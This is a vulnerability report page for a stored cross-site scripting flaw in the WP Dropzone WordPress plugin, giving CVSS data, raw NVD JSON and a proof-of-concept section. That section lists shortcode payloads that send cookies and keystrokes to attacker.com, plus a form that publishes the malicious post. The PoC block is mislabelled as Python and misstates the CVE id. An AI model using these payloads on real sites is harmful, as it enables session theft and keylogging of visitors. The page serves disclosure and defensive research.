Security Vulnerability Report
中文
CVE-2025-13989 CVSS 6.4 MEDIUM

CVE-2025-13989

Published: 2025-12-12 04:15:46
Last Modified: 2026-04-15 00:35:42

Description

The WP Dropzone plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'callback' shortcode attribute in all versions up to, and including, 1.1.1. This is due to insufficient input sanitization and output escaping on user-supplied 'callback' attributes, which are evaluated as JavaScript code via the `new Function()` constructor. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Dropzone plugin <= 1.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// WordPress WP Dropzone Plugin XSS PoC // CVE-2025-2025-13989 // PoC 1: Basic XSS via shortcode [wp-dropzone callback='alert("XSS")'] // PoC 2: Cookie stealing [wp-dropzone callback='fetch("https://attacker.com/steal?c="+document.cookie)'] // PoC 3: Session hijacking [wp-dropzone callback='document.location="https://attacker.com/phishing?"+btoa(document.cookie)'] // PoC 4: Keylogger [wp-dropzone callback='document.onkeypress=function(e){fetch("https://attacker.com/log?k="+e.key)}'] // PoC 5: DOM manipulation [wp-dropzone callback='document.body.innerHTML="<h1>Compromised</h1>"'] // HTML form PoC for injecting malicious shortcode: /* <form method="post" action="https://target-site.com/wp-admin/post.php"> <input type="hidden" name="post_title" value="Malicious Post"> <input type="hidden" name="content" value="[wp-dropzone callback='fetch("https://attacker.com/steal?c="+document.cookie)']"> <input type="hidden" name="post_status" value="publish"> <input type="hidden" name="action" value="editpost"> <button type="submit">Create Post</button> </form> */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13989", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:45.873", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Dropzone plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'callback' shortcode attribute in all versions up to, and including, 1.1.1. This is due to insufficient input sanitization and output escaping on user-supplied 'callback' attributes, which are evaluated as JavaScript code via the `new Function()` constructor. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-dropzone/tags/1.1.1/includes/class-plugin.php#L303", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-dropzone/tags/1.1.1/js/wp-dropzone.js#L86", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-dropzone/trunk/includes/class-plugin.php#L303", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-dropzone/trunk/js/wp-dropzone.js#L86", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/23953909-4836-4226-b00b-eb0e24cc3ad7?source=cve", "source": "[email protected]"}]}}